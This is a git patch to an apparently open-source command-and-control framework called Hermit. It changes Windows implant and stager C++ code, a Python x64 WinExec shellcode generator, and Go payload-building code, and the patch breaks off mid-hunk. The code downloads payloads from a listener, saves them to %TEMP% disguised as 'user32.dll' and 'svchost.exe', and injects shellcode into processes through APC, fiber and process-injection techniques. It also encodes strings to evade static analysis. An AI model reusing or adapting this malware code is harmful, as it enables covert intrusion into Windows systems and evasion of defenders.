From a42583964b0db8329a4d71b2bf8db7f47e894b7d Mon Sep 17 00:00:00 2001 From: hdks Date: Wed, 10 Apr 2024 01:09:30 +0900 Subject: [PATCH] Fix shellcode/exec --- docs/guides/task.md | 2 +- payload/win/implant/include/core/system.hpp | 5 - payload/win/implant/include/core/utils.hpp | 1 - payload/win/implant/src/core/system/http.cpp | 84 +++------ .../win/implant/src/core/task/shellcode.cpp | 6 +- payload/win/shellcode/Makefile | 2 +- payload/win/shellcode/script/asm/exec.py | 60 +++--- payload/win/shellcode/script/utils/convert.py | 70 ++++--- payload/win/stager/CMakeLists.txt | 1 + payload/win/stager/include/core/crypt.hpp | 46 +++++ payload/win/stager/include/core/system.hpp | 10 +- payload/win/stager/include/core/utils.hpp | 8 + payload/win/stager/include/hermit.hpp | 1 + payload/win/stager/src/core/crypt.cpp | 118 ++++++++++++ payload/win/stager/src/core/system/http.cpp | 176 +++++++----------- payload/win/stager/src/core/utils/convert.cpp | 22 +++ payload/win/stager/src/hermit.cpp | 69 +++---- pkg/common/wizard/payload.go | 1 + pkg/server/payload/implant.go | 7 +- pkg/server/service/https.go | 6 +- 20 files changed, 407 insertions(+), 288 deletions(-) create mode 100644 payload/win/stager/include/core/crypt.hpp create mode 100644 payload/win/stager/src/core/crypt.cpp diff --git a/docs/guides/task.md b/docs/guides/task.md index 176c56e..890792b 100644 --- a/docs/guides/task.md +++ b/docs/guides/task.md @@ -90,7 +90,7 @@ Hermit [agent-abcd] > connect https://172.12.34.56:12345 ## `cp` -Copies a file from our machine to victim machine. +Copies a file to destination path on a victim machine. We can specify an absolute path or a relative path. ```sh diff --git a/payload/win/implant/include/core/system.hpp b/payload/win/implant/include/core/system.hpp index 8318f29..9bd8b78 100644 --- a/payload/win/implant/include/core/system.hpp +++ b/payload/win/implant/include/core/system.hpp @@ -91,11 +91,6 @@ namespace System::Http Procs::PPROCS pProcs, HINTERNET hRequest ); - BOOL WriteResponseData( - Procs::PPROCS pProcs, - HINTERNET hRequest, - const std::wstring& outFile - ); BOOL DownloadFile( Procs::PPROCS pProcs, HINTERNET hConnect, diff --git a/payload/win/implant/include/core/utils.hpp b/payload/win/implant/include/core/utils.hpp index 2a88878..d132891 100644 --- a/payload/win/implant/include/core/utils.hpp +++ b/payload/win/implant/include/core/utils.hpp @@ -15,7 +15,6 @@ namespace Utils::Convert // vector -> string std::string VecByteToString(std::vector bytes); - // vector -> string std::string VecCharToString(std::vector chars); diff --git a/payload/win/implant/src/core/system/http.cpp b/payload/win/implant/src/core/system/http.cpp index 7288f20..f1bc97f 100644 --- a/payload/win/implant/src/core/system/http.cpp +++ b/payload/win/implant/src/core/system/http.cpp @@ -121,50 +121,38 @@ namespace System::Http // Read response as bytes. std::vector ReadResponseBytes(Procs::PPROCS pProcs, HINTERNET hRequest) { - std::vector respBytes; + std::vector bytes; DWORD dwSize = 0; DWORD dwDownloaded = 0; - BYTE* pBuffer = NULL; - do { dwSize = 0; - - if (!pProcs->lpWinHttpQueryDataAvailable(hRequest, &dwSize)) - { - return respBytes; - } - - // No more available data. - if (!dwSize) - { - return respBytes; - } - - pBuffer = new BYTE[dwSize]; - if (!pBuffer) + if (pProcs->lpWinHttpQueryDataAvailable(hRequest, &dwSize)) { - return respBytes; - } - - ZeroMemory(pBuffer, dwSize); - if (!pProcs->lpWinHttpReadData( - hRequest, - pBuffer, - dwSize, - &dwDownloaded - )) { - delete[] pBuffer; - return respBytes; + BYTE* tempBuffer = new BYTE[dwSize+1]; + if (!tempBuffer) + { + dwSize = 0; + } + else + { + ZeroMemory(tempBuffer, dwSize+1); + if (pProcs->lpWinHttpReadData(hRequest, (LPVOID)tempBuffer, dwSize, &dwDownloaded)) + { + // Add to buffer; + for (size_t i = 0; i < dwDownloaded; ++i) + { + bytes.push_back(tempBuffer[i]); + } + } + + delete [] tempBuffer; + } } - - respBytes.insert(respBytes.end(), pBuffer, pBuffer + dwDownloaded); - - delete[] pBuffer; } while (dwSize > 0); - return respBytes; + return bytes; } // Read response as text. @@ -258,42 +246,24 @@ namespace System::Http return FALSE; } - // Get file size - DWORD dwSize = 0; - if (!pProcs->lpWinHttpQueryDataAvailable(resp.hRequest, &dwSize)) - { - CloseHandle(hFile); - return FALSE; - } - if (!dwSize || dwSize == 0) - { - CloseHandle(hFile); - return FALSE; - } - - // Read data - DWORD dwDownloaded = 0; - std::vector tempBuffer(dwSize); - if (!pProcs->lpWinHttpReadData(resp.hRequest, tempBuffer.data(), dwSize, &dwDownloaded)) + // Read file + std::vector bytes = ReadResponseBytes(pProcs, resp.hRequest); + if (bytes.size() == 0) { - CloseHandle(hFile); return FALSE; } - std::vector buffer; - buffer.insert(buffer.end(), tempBuffer.begin(), tempBuffer.begin() + dwDownloaded); // Decrypt data - std::vector decBuffer = Crypt::DecryptData(Utils::Convert::VecByteToString(buffer)); + std::vector decBytes = Crypt::DecryptData(Utils::Convert::VecByteToString(bytes)); // Write data to file DWORD dwWritten; - if (!WriteFile(hFile, decBuffer.data(), decBuffer.size()/*dwDownloaded*/, &dwWritten, NULL)) + if (!WriteFile(hFile, decBytes.data(), decBytes.size(), &dwWritten, NULL)) { CloseHandle(hFile); return FALSE; } - // outFile.close(); CloseHandle(hFile); return TRUE; diff --git a/payload/win/implant/src/core/task/shellcode.cpp b/payload/win/implant/src/core/task/shellcode.cpp index 39b8f4c..8c90271 100644 --- a/payload/win/implant/src/core/task/shellcode.cpp +++ b/payload/win/implant/src/core/task/shellcode.cpp @@ -27,13 +27,13 @@ namespace Task } // Read enc data - std::vector respBytes = System::Http::ReadResponseBytes(pState->pProcs, resp.hRequest); - if (respBytes.size() == 0) + std::vector encBytes = System::Http::ReadResponseBytes(pState->pProcs, resp.hRequest); + if (encBytes.size() == 0) { return L"Error: Failed to read response data."; } // Decrypt the data - std::vector bytes = Crypt::DecryptData(Utils::Convert::VecByteToString(respBytes)); + std::vector bytes = Crypt::DecryptData(Utils::Convert::VecByteToString(encBytes)); // Inject shellcode if (!Technique::Injection::ShellcodeInjection(dwPid, bytes)) diff --git a/payload/win/shellcode/Makefile b/payload/win/shellcode/Makefile index ea73bcc..b7030fd 100644 --- a/payload/win/shellcode/Makefile +++ b/payload/win/shellcode/Makefile @@ -4,5 +4,5 @@ SCRIPT = script/shellcode_generator.py OUTFILE = ${OUTPUT} x64: - @ python3 ${SCRIPT} -t ${SHELLCODE_TYPE} -c "${SHELLCODE_TYPE_ARGS}" -o ${OUTFILE} + @ python3 ${SCRIPT} -t ${SHELLCODE_TYPE} -c ${SHELLCODE_TYPE_ARGS} -o ${OUTFILE} diff --git a/payload/win/shellcode/script/asm/exec.py b/payload/win/shellcode/script/asm/exec.py index 1345e4c..8e6277f 100644 --- a/payload/win/shellcode/script/asm/exec.py +++ b/payload/win/shellcode/script/asm/exec.py @@ -1,8 +1,10 @@ # Reference: https://github.com/boku7/x64win-DynamicNoNull-WinExec-PopCalc-Shellcode +from typing import List from utils import convert -def start() -> str: +def get_kernel32_addr() -> str: return """ +; Get kernel32.dll Address xor rdi, rdi ; RDI = 0x0 mul rdi ; RAX&RDX = 0x0 mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB @@ -95,25 +97,11 @@ def def_resolveaddr() -> str: ret ; return to API caller """ -def push_str_arg(hexarr) -> str: - asm = "push rax ; Null terminate string on stack" - - for h in hexarr: - asm += f""" -mov rax, {h} ; not (reverse the bits) to avoid detection when static analysis -not rax -push rax ; RSP = "calc.exe",0x0 -""" - - asm += "mov rcx, rsp" - return asm - def def_api() -> str: return """ apis: ; API Names to resolve addresses -; WinExec | String length : 7 xor rcx, rcx -add cl, 0x7 ; String length for compare string +add cl, 0x7 ; String length (len("WinExec") => 7) for comparing string mov rax, 0x9C9A87BA9196A80F ; not (reverse the bits) 0x9C9A87BA9196A80F = 0xF0,WinExec not rax shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll @@ -123,34 +111,56 @@ def def_api() -> str: mov r14, rax ; R14 = Kernel32.WinExec Address """ -def call_api(hexarr) -> str: +def call_api(cmd_hexarr: List[str], shr_hex: str) -> str: asm = f""" ; UINT WinExec( -; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 +; LPCSTR lpCmdLine, => RCX = "example.exe",0x0 ; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL ; ); xor rcx, rcx mul rcx ; RAX & RDX & RCX = 0x0 +push rax ; Null terminate string on stack +""" + + if shr_hex == '0': + for cmd_hex in cmd_hexarr: + asm += f""" +mov rax, 0x{cmd_hex} +push rax +""" + + else: + for i in range(0, len(cmd_hexarr)): + if i == 0: + asm += f""" +mov rax, 0x{cmd_hexarr[i]} +shr rax, 0x{shr_hex} +push rax +""" + else: + asm += f""" +mov rax, 0x{cmd_hexarr[i]} +push rax """ - - asm += push_str_arg(hexarr) # Push remaining argument asm += """ +mov rcx, rsp inc rdx ; RDX = 0x1 = SW_SHOWNORMAL sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA) -call r14 ; Call WinExec("calc.exe", SW_HIDE) +call r14 ; Call WinExec("example.exe", SW_SHOWNORMAL) """ return asm def generate(cmd: str) -> str: # cmd_hexarr = ["0x9A879AD19C939E9C"] # calc.exe - cmd_hexarr = convert.str2hex(cmd, True) - print(cmd_hexarr) + cmd_hexarr, shr_hex = convert.str2hex(cmd, True) + print("cmd_hexarr", cmd_hexarr) + print("shr_hex: ", shr_hex) asm = "" - asm += start() + asm += get_kernel32_addr() asm += get_exporttable_addr() asm += get_address_table() asm += get_namepointer_table() @@ -161,5 +171,5 @@ def generate(cmd: str) -> str: asm += def_incloop() asm += def_resolveaddr() asm += def_api() - asm += call_api(cmd_hexarr) + asm += call_api(cmd_hexarr, shr_hex) return asm diff --git a/payload/win/shellcode/script/utils/convert.py b/payload/win/shellcode/script/utils/convert.py index 3debd24..6a4b6de 100644 --- a/payload/win/shellcode/script/utils/convert.py +++ b/payload/win/shellcode/script/utils/convert.py @@ -1,30 +1,48 @@ -# Convert string to HEX array -# e.g. calc.exe -(HEX)-> 63616c632e657865 -(LITTLE-ENDIAN)-> 6578652e636c6163 -(NOT)-> 9A879AD19C939E9C -# If set 'is_not' to True, avoid to detect it in static analysis. -def str2hex(text: str, not_op: bool): - hexarr = [] +from typing import List, Tuple +# Convert string to ASCII code for assembly. +# e.g. calc.exe -(HEX)-> 63616c632e657865 -(LITTLE-ENDIAN)-> 6578652e636c6163 -(NOT)-> 9A879AD19C939E9C +# If set 'not_op' to True, avoid to detect it in static analysis. +def str2hex(text: str, not_op: bool) -> Tuple[List[str], str]: # str -> hex cmd_hex = text.encode('utf-8').hex() - # hex -> hex(little-endian) - cmd_hex_little = bytes.fromhex(cmd_hex)[::-1].hex() - - if not_op is False: - hexarr.append('0x' + cmd_hex_little) - else: - # NOT operations - not_result = "" - max_len = 16 - for i in range(0, max_len, 2): - try: - hex_chars = cmd_hex_little[i:i+2] - hex_chars_not_int = ~int(hex_chars, 16) - hex_chars_not = format(hex_chars_not_int & 0xFF, '02x') - not_result += hex_chars_not - except: - not_result += '0f' - - hexarr.append('0x' + not_result) - - return hexarr + # Split into 16-digit + chunks = [cmd_hex[i:i+16] for i in range(0, len(cmd_hex), 16)] + + for i in range(0, len(chunks)): + # hex -> hex(little-endian) + chunks[i] = bytes.fromhex(chunks[i])[::-1].hex() + + # Get the shift right number for the last element (it's used for `shr rax, 0x[hex_num]` in assembly) + shr_hex = hex((16 - len(chunks[-1])) * 4)[2:] + + # Fill with 'f' for the last element + if len(chunks[-1]) < 16: + chunks[-1] = chunks[-1].ljust(16, "f") + + # Lastly, reverse the chunks + chunks.reverse() + + return chunks, shr_hex + + + # if not_op is False: + # hexarr.append('0x' + cmd_hex_little) + # else: + # # NOT operations + # not_result = "" + # max_len = 16 + # # for i in range(0, max_len, 2): + # for i in range(0, len(cmd_hex_little), 2): + # try: + # hex_chars = cmd_hex_little[i:i+2] + # hex_chars_not_int = ~int(hex_chars, 16) + # hex_chars_not = format(hex_chars_not_int & 0xFF, '02x') + # not_result += hex_chars_not + # except: + # not_result += '' + + + # hexarr.append('0x' + not_result) + \ No newline at end of file diff --git a/payload/win/stager/CMakeLists.txt b/payload/win/stager/CMakeLists.txt index fa5c5a4..8d9937d 100644 --- a/payload/win/stager/CMakeLists.txt +++ b/payload/win/stager/CMakeLists.txt @@ -34,6 +34,7 @@ add_compile_definitions(REQUEST_PATH_DOWNLOAD=${REQUEST_PATH_DOWNLOAD}) # SOURCE set(COMMON_SOURCES src/hermit.cpp + src/core/crypt.cpp src/core/procs.cpp src/core/technique/injection/dll_injection.cpp src/core/technique/injection/shellcode_injection.cpp diff --git a/payload/win/stager/include/core/crypt.hpp b/payload/win/stager/include/core/crypt.hpp new file mode 100644 index 0000000..b37dcf0 --- /dev/null +++ b/payload/win/stager/include/core/crypt.hpp @@ -0,0 +1,46 @@ +#ifndef HERMIT_CORE_CRYPT_HPP +#define HERMIT_CORE_CRYPT_HPP + +#include +#include +#include +#include +#include + +#include "core/stdout.hpp" +#include "core/utils.hpp" + +#define AES_KEY_LENGTH 16 +#define AES_IV_LENGTH 16 + +namespace Crypt +{ + struct AES + { + BYTE key[AES_KEY_LENGTH]; + BYTE iv[AES_IV_LENGTH]; + }; + + struct CRYPT + { + AES aes; + }; + + typedef CRYPT* PCRYPT; + + VOID GenerateKeyAndIV(); + BYTE hexCharToByte(char cHex); + + // For Strings + std::wstring HexEncode(const std::wstring& wStr); + std::wstring HexDecode(const std::wstring& wHex); + std::wstring Encrypt(const std::wstring& wPlaintext); + std::wstring Decrypt(const std::wstring& wCiphertext); + // For Binary Data + std::string HexEncodeData(const std::vector& data); + std::vector HexDecodeData(const std::string& sHex); + std::string EncryptData(const std::vector& plaindata); + std::vector DecryptData(const std::string& cipherdata); +} + +#endif // HERMIT_CORE_CRYPT_HPP \ No newline at end of file diff --git a/payload/win/stager/include/core/system.hpp b/payload/win/stager/include/core/system.hpp index c13e9f2..0bdefa3 100644 --- a/payload/win/stager/include/core/system.hpp +++ b/payload/win/stager/include/core/system.hpp @@ -7,6 +7,7 @@ #include #include +#include "core/crypt.hpp" #include "core/procs.hpp" #include "core/stdout.hpp" #include "core/utils.hpp" @@ -57,19 +58,14 @@ namespace System::Http HINTERNET hRequest ); - BOOL WriteResponseData( - Procs::PPROCS pProcs, - HINTERNET hRequest, - const std::wstring& outFile - ); - BOOL DownloadFile( Procs::PPROCS pProcs, HINTERNET hConnect, LPCWSTR lpHost, INTERNET_PORT nPort, LPCWSTR lpPath, - const std::wstring& wSrc, + LPCWSTR lpHeaders, + const std::wstring& wInfoJSON, const std::wstring& wDest ); diff --git a/payload/win/stager/include/core/utils.hpp b/payload/win/stager/include/core/utils.hpp index a1f0b19..b776d90 100644 --- a/payload/win/stager/include/core/utils.hpp +++ b/payload/win/stager/include/core/utils.hpp @@ -7,13 +7,21 @@ namespace Utils::Convert { + // vector -> string + std::string VecByteToString(std::vector bytes); // vector -> string std::string VecCharToString(std::vector chars); + // wstring -> string (UTF8) std::string UTF8Encode(const std::wstring& wstr); // string (UTF8) -> wstring std::wstring UTF8Decode(const std::string& str); + // wstring -> DWORD (unsigned long) + DWORD WstringToDWORD(const std::wstring& wstr, int base); + // DWORD (unsigned long) -> wstring + std::wstring DWORDToWstring(DWORD dwSrc); + // LPCWSTR -> string std::string LPCWSTRToString(LPCWSTR lpcwStr); } diff --git a/payload/win/stager/include/hermit.hpp b/payload/win/stager/include/hermit.hpp index 973e612..3b18c65 100644 --- a/payload/win/stager/include/hermit.hpp +++ b/payload/win/stager/include/hermit.hpp @@ -3,6 +3,7 @@ #include +#include "core/crypt.hpp" #include "core/handler.hpp" #include "core/procs.hpp" #include "core/system.hpp" diff --git a/payload/win/stager/src/core/crypt.cpp b/payload/win/stager/src/core/crypt.cpp new file mode 100644 index 0000000..1c75063 --- /dev/null +++ b/payload/win/stager/src/core/crypt.cpp @@ -0,0 +1,118 @@ +#include "core/crypt.hpp" + +namespace Crypt +{ + VOID GenerateKeyAndIV() + { + // TODO + // ... + } + + BYTE hexCharToByte(char cHex) + { + if ('0' <= cHex && cHex <= '9') + { + return cHex - '0'; + } + else if ('a' <= cHex && cHex <= 'f') + { + return cHex - 'a' + 10; + } + else if ('A' <= cHex && cHex <= 'F') + { + return cHex - 'A' + 10; + } + + return 0; + } + + std::wstring HexEncode(const std::wstring& wStr) + { + std::string sStr = Utils::Convert::UTF8Encode(wStr); + + std::ostringstream oss; + oss << std::hex << std::uppercase << std::setfill('0'); + for (unsigned char c : sStr) + { + oss << std::setw(2) << static_cast(c); + } + return Utils::Convert::UTF8Decode(oss.str()); + } + + std::wstring HexDecode(const std::wstring& wHex) + { + std::vector bytes; + + for (size_t i = 0; i < wHex.length(); i += 2) + { + unsigned int byteValue; + std::wstringstream(wHex.substr(i, 2)) >> std::hex >> byteValue; + bytes.push_back(static_cast(byteValue)); + } + + std::string sDecoded(bytes.begin(), bytes.end()); + std::wstring wDecoded = Utils::Convert::UTF8Decode(sDecoded); + return wDecoded; + } + + std::wstring Encrypt(const std::wstring& wPlaintext) + { + // TODO: Implement encryption + // ... + + std::wstring wEncoded = HexEncode(wPlaintext); + return wEncoded; + } + + std::wstring Decrypt(const std::wstring& wCiphertext) + { + std::wstring wDecoded = HexDecode(wCiphertext); + + // TODO: Implement decryption + // ... + + return wDecoded; + } + + std::string HexEncodeData(const std::vector& data) + { + std::stringstream ss; + for (BYTE byte : data) + { + ss << std::hex << std::setw(2) << std::setfill('0') << static_cast(byte); + } + return ss.str(); + } + + std::vector HexDecodeData(const std::string& sHex) + { + std::vector result; + for (size_t i = 0; i < sHex.length(); i += 2) + { + BYTE high = hexCharToByte(sHex[i]); + BYTE low = hexCharToByte(sHex[i + 1]); + result.push_back((high << 4) | low); + } + return result; + } + + std::string EncryptData(const std::vector& plaindata) + { + std::string encodedData = HexEncodeData(plaindata); + + // TODO: Implement encryption + // ... + + return encodedData; + } + + std::vector DecryptData(const std::string& cipherdata) + { + std::vector decodedData = HexDecodeData(cipherdata); + + // TODO: Implement decryption + // ... + + return decodedData; + } +} \ No newline at end of file diff --git a/payload/win/stager/src/core/system/http.cpp b/payload/win/stager/src/core/system/http.cpp index 63de675..9743cc6 100644 --- a/payload/win/stager/src/core/system/http.cpp +++ b/payload/win/stager/src/core/system/http.cpp @@ -14,7 +14,8 @@ namespace System::Http L"", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, - WINHTTP_NO_PROXY_BYPASS, 0 + WINHTTP_NO_PROXY_BYPASS, + 0 ); if (!hSession) { return {hSession, hConnect}; @@ -118,122 +119,39 @@ namespace System::Http } // Read response as bytes. - std::vector ReadResponseBytes( - Procs::PPROCS pProcs, - HINTERNET hRequest - ) { - std::vector respBytes; + std::vector ReadResponseBytes(Procs::PPROCS pProcs, HINTERNET hRequest) { + std::vector bytes; DWORD dwSize = 0; DWORD dwDownloaded = 0; - BYTE* pBuffer = NULL; - do { dwSize = 0; - - if (!pProcs->lpWinHttpQueryDataAvailable(hRequest, &dwSize)) - { - return respBytes; - } - - // No more available data. - if (!dwSize) - { - return respBytes; - } - - pBuffer = new BYTE[dwSize]; - if (!pBuffer) - { - return respBytes; - } - - ZeroMemory(pBuffer, dwSize); - if (!pProcs->lpWinHttpReadData( - hRequest, - pBuffer, - dwSize, - &dwDownloaded - )) { - delete[] pBuffer; - return respBytes; - } - - respBytes.insert(respBytes.end(), pBuffer, pBuffer + dwDownloaded); - - delete[] pBuffer; - } while (dwSize > 0); - - return respBytes; - } - - BOOL WriteResponseData( - Procs::PPROCS pProcs, - HINTERNET hRequest, - const std::wstring& outFile - ) { - DWORD dwSize = 0; - DWORD dwRead = 0; - LPSTR pszOutBuffer; - - // std::ofstream outFile(sFile, std::ios::binary); - HANDLE hFile = CreateFileW( - outFile.c_str(), - GENERIC_WRITE, - 0, - NULL, - CREATE_ALWAYS, - FILE_ATTRIBUTE_NORMAL, - NULL - ); - if (hFile == INVALID_HANDLE_VALUE) - { - return FALSE; - } - - do - { - if (!pProcs->lpWinHttpQueryDataAvailable(hRequest, &dwSize)) - { - break; - } - if (!dwSize) + if (pProcs->lpWinHttpQueryDataAvailable(hRequest, &dwSize)) { - break; - } - - pszOutBuffer = new char[dwSize+1]; - if (!pszOutBuffer) - { - break; - } - - // Read the data - ZeroMemory(pszOutBuffer, dwSize+1); - if (!pProcs->lpWinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwRead)) - { - // Could not read data. - } - else - { - DWORD dwWritten; - if (!WriteFile(hFile, pszOutBuffer, dwRead, &dwWritten, NULL)) + BYTE* tempBuffer = new BYTE[dwSize+1]; + if (!tempBuffer) { - return FALSE; + dwSize = 0; + } + else + { + ZeroMemory(tempBuffer, dwSize+1); + if (pProcs->lpWinHttpReadData(hRequest, (LPVOID)tempBuffer, dwSize, &dwDownloaded)) + { + // Add to buffer; + for (size_t i = 0; i < dwDownloaded; ++i) + { + bytes.push_back(tempBuffer[i]); + } + } + + delete [] tempBuffer; } } - - delete [] pszOutBuffer; - - if (!dwRead) - break; } while (dwSize > 0); - - // outFile.close(); - CloseHandle(hFile); - - return TRUE; + + return bytes; } // Wrapper for send&read&write response data @@ -243,10 +161,11 @@ namespace System::Http LPCWSTR lpHost, INTERNET_PORT nPort, LPCWSTR lpPath, - const std::wstring& wSrc, + LPCWSTR lpHeaders, + const std::wstring& wInfoJSON, const std::wstring& wDest ) { - std::string sSrc = Utils::Convert::UTF8Encode(wSrc); + std::string sInfoJSON = Utils::Convert::UTF8Encode(wInfoJSON); WinHttpResponse resp = SendRequest( pProcs, @@ -255,20 +174,51 @@ namespace System::Http nPort, lpPath, L"POST", - L"", - (LPVOID)sSrc.c_str(), - (DWORD)strlen(sSrc.c_str()) + lpHeaders, + (LPVOID)sInfoJSON.c_str(), + (DWORD)strlen(sInfoJSON.c_str()) ); if (!resp.bResult || resp.dwStatusCode != 200) { - return {}; + return FALSE; + } + + // std::ofstream outFile(sFile, std::ios::binary); + HANDLE hFile = CreateFileW( + wDest.c_str(), + GENERIC_WRITE, + 0, + NULL, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + if (hFile == INVALID_HANDLE_VALUE) + { + return FALSE; } - if (!WriteResponseData(pProcs, resp.hRequest, wDest)) + // Read file + std::vector bytes = ReadResponseBytes(pProcs, resp.hRequest); + if (bytes.size() == 0) { return FALSE; } + // Decrypt data + std::vector decBytes = Crypt::DecryptData(Utils::Convert::VecByteToString(bytes)); + + // Write data to file + DWORD dwWritten; + if (!WriteFile(hFile, decBytes.data(), decBytes.size(), &dwWritten, NULL)) + { + CloseHandle(hFile); + return FALSE; + } + + // outFile.close(); + CloseHandle(hFile); + return TRUE; } diff --git a/payload/win/stager/src/core/utils/convert.cpp b/payload/win/stager/src/core/utils/convert.cpp index 9f73d80..dcf3d6a 100644 --- a/payload/win/stager/src/core/utils/convert.cpp +++ b/payload/win/stager/src/core/utils/convert.cpp @@ -2,6 +2,11 @@ namespace Utils::Convert { + std::string VecByteToString(std::vector bytes) + { + return std::string(bytes.begin(), bytes.end()); + } + std::string VecCharToString(std::vector chars) { std::string s(chars.begin(), chars.end()); @@ -71,6 +76,23 @@ namespace Utils::Convert return wstrTo; } + // wstring -> DWORD (unsigned long) + DWORD WstringToDWORD(const std::wstring& wStr, int base) + { + std::string sStr = UTF8Encode(wStr); + char* pEnds; + DWORD dwStr = (DWORD)strtoul(sStr.c_str(), &pEnds, base); + return dwStr; + } + + // DWORD (unsigned long) -> wstring + std::wstring DWORDToWstring(DWORD dwSrc) + { + std::string sSrc = std::to_string(dwSrc); + std::wstring wDest = UTF8Decode(sSrc); + return wDest; + } + // LPCWSTR (UTF-16) -> string (UTF-8) std::string LPCWSTRToString(LPCWSTR lpcwStr) { diff --git a/payload/win/stager/src/hermit.cpp b/payload/win/stager/src/hermit.cpp index b452045..5317a7b 100644 --- a/payload/win/stager/src/hermit.cpp +++ b/payload/win/stager/src/hermit.cpp @@ -18,7 +18,6 @@ namespace Hermit // Get system information as json. std::wstring wInfoJSON = Handler::GetInitialInfoJSON(); - std::string sInfoJSON = Utils::Convert::UTF8Encode(wInfoJSON); System::Http::WinHttpHandlers handlers = System::Http::InitRequest( pProcs, @@ -33,39 +32,27 @@ namespace Hermit hSession = handlers.hSession; hConnect = handlers.hConnect; + // Set the temp file path + std::wstring dllFileName = L"user32.dll"; // Impersonate the file name. + std::wstring dllPath = System::Env::GetStrings(L"%TEMP%") + L"\\" + dllFileName; + size_t dwDllPathSize = (dllPath.size() + 1) * sizeof(wchar_t); + // Download a DLL file - System::Http::WinHttpResponse resp = System::Http::SendRequest( + bResults = System::Http::DownloadFile( pProcs, hConnect, LISTENER_HOST_W, LISTENER_PORT, REQUEST_PATH_DOWNLOAD_W, - L"POST", L"Content-Type: application/json\r\n", - (LPVOID)sInfoJSON.c_str(), - (DWORD)strlen(sInfoJSON.c_str()) + wInfoJSON, + dllPath ); - if (!resp.bResult || resp.dwStatusCode != 200) - { - Free(hWinHTTPDLL, pProcs, hSession, hConnect, hRequest); - return; - } - - hRequest = resp.hRequest; - - // Set the temp file path - std::wstring dllFileName = L"user32.dll"; // Impersonate the file name. - std::wstring dllPath = System::Env::GetStrings(L"%TEMP%") + L"\\" + dllFileName; - size_t dwDllPathSize = (dllPath.size() + 1) * sizeof(wchar_t); - - // Download a DLL file (create a file) - bResults = System::Http::WriteResponseData(pProcs, hRequest, dllPath); if (!bResults) { Free(hWinHTTPDLL, pProcs, hSession, hConnect, hRequest); return; } - System::Http::WinHttpCloseHandles(pProcs, hSession, hConnect, hRequest); // Target PID DWORD dwPID; @@ -101,7 +88,6 @@ namespace Hermit // Get system information as json. std::wstring wInfoJSON = Handler::GetInitialInfoJSON(); - std::string sInfoJSON = Utils::Convert::UTF8Encode(wInfoJSON); System::Http::WinHttpHandlers handlers = System::Http::InitRequest( pProcs, @@ -116,32 +102,22 @@ namespace Hermit hSession = handlers.hSession; hConnect = handlers.hConnect; + // Set the temp file path + std::wstring execFileName = L"svchost.exe"; // Impersonate the file name. + std::wstring execPath = System::Env::GetStrings(L"%TEMP%") + L"\\" + execFileName; + // Download an executable - System::Http::WinHttpResponse resp = System::Http::SendRequest( + bResults = System::Http::DownloadFile( pProcs, hConnect, LISTENER_HOST_W, LISTENER_PORT, REQUEST_PATH_DOWNLOAD_W, - L"POST", L"Content-Type: application/json\r\n", - (LPVOID)sInfoJSON.c_str(), - (DWORD)strlen(sInfoJSON.c_str()) + wInfoJSON, + execPath ); - if (!resp.bResult || resp.dwStatusCode != 200) - { - Free(hWinHTTPDLL, pProcs, hSession, hConnect, hRequest); - return; - } - - hRequest = resp.hRequest; - - // Set the temp file path - std::wstring execFileName = L"svchost.exe"; // Impersonate the file name. - std::wstring execPath = System::Env::GetStrings(L"%TEMP%") + L"\\" + execFileName; - - // Download an executable - if (!System::Http::WriteResponseData(pProcs, hRequest, execPath)) + if (!bResults) { Free(hWinHTTPDLL, pProcs, hSession, hConnect, hRequest); return; @@ -208,13 +184,16 @@ namespace Hermit hRequest = resp.hRequest; - std::vector respBytes = System::Http::ReadResponseBytes(pProcs, hRequest); - if (respBytes.size() == 0) + std::vector encBytes = System::Http::ReadResponseBytes(pProcs, hRequest); + if (encBytes.size() == 0) { Free(hWinHTTPDLL, pProcs, hSession, hConnect, hRequest); return; } + // Decrypt the data + std::vector bytes = Crypt::DecryptData(Utils::Convert::VecByteToString(encBytes)); + // Target PID DWORD dwPID; @@ -222,15 +201,15 @@ namespace Hermit if (strcmp(PAYLOAD_TECHNIQUE, "shellcode-injection") == 0) { dwPID = System::Process::GetProcessIdByName(TEXT(PAYLOAD_PROCESS_TO_INJECT)); - Technique::Injection::ShellcodeInjection(dwPID, respBytes); + Technique::Injection::ShellcodeInjection(dwPID, bytes); } else if (strcmp(PAYLOAD_TECHNIQUE, "shellcode-execution-via-fibers") == 0) { - Technique::Injection::ShellcodeExecutionViaFibers(respBytes); + Technique::Injection::ShellcodeExecutionViaFibers(bytes); } else if (strcmp(PAYLOAD_TECHNIQUE, "shellcode-execution-via-apc-and-nttestalert") == 0) { - Technique::Injection::ShellcodeExecutionViaAPCAndNtTestAlert(respBytes); + Technique::Injection::ShellcodeExecutionViaAPCAndNtTestAlert(bytes); } Free(hWinHTTPDLL, pProcs, hSession, hConnect, hRequest); diff --git a/pkg/common/wizard/payload.go b/pkg/common/wizard/payload.go index 76bd7b0..7541c87 100644 --- a/pkg/common/wizard/payload.go +++ b/pkg/common/wizard/payload.go @@ -21,6 +21,7 @@ func WizardPayloadType() string { "stager/exec-loader", "stager/shellcode-loader", "shellcode/exec", + // "shellcode/revshell", // "shellcode/dll-loader", // "shellcode/exec-loader", // "shellcode/shellcode-loader", diff --git a/pkg/server/payload/implant.go b/pkg/server/payload/implant.go index c119f9d..256e359 100644 --- a/pkg/server/payload/implant.go +++ b/pkg/server/payload/implant.go @@ -125,7 +125,7 @@ func (i *Implant) Generate(serverState *state.ServerState) (data []byte, outFile return nil, "", err } - // Compile assembly + // Compile assembly and generate an object file. asmSrc := "src/asm/syscalls." if i.Arch == "amd64" { asmSrc += "x64.asm" @@ -135,6 +135,7 @@ func (i *Implant) Generate(serverState *state.ServerState) (data []byte, outFile asmObj := fmt.Sprintf("/tmp/syscalls-%s.o", uuid.NewString()) _, err = meta.ExecCommand("nasm", "-f", "win64", "-o", asmObj, asmSrc) if err != nil { + os.Chdir(serverState.CWD) return nil, "", fmt.Errorf("nasm error: %v", err) } @@ -167,6 +168,7 @@ func (i *Implant) Generate(serverState *state.ServerState) (data []byte, outFile ) if err != 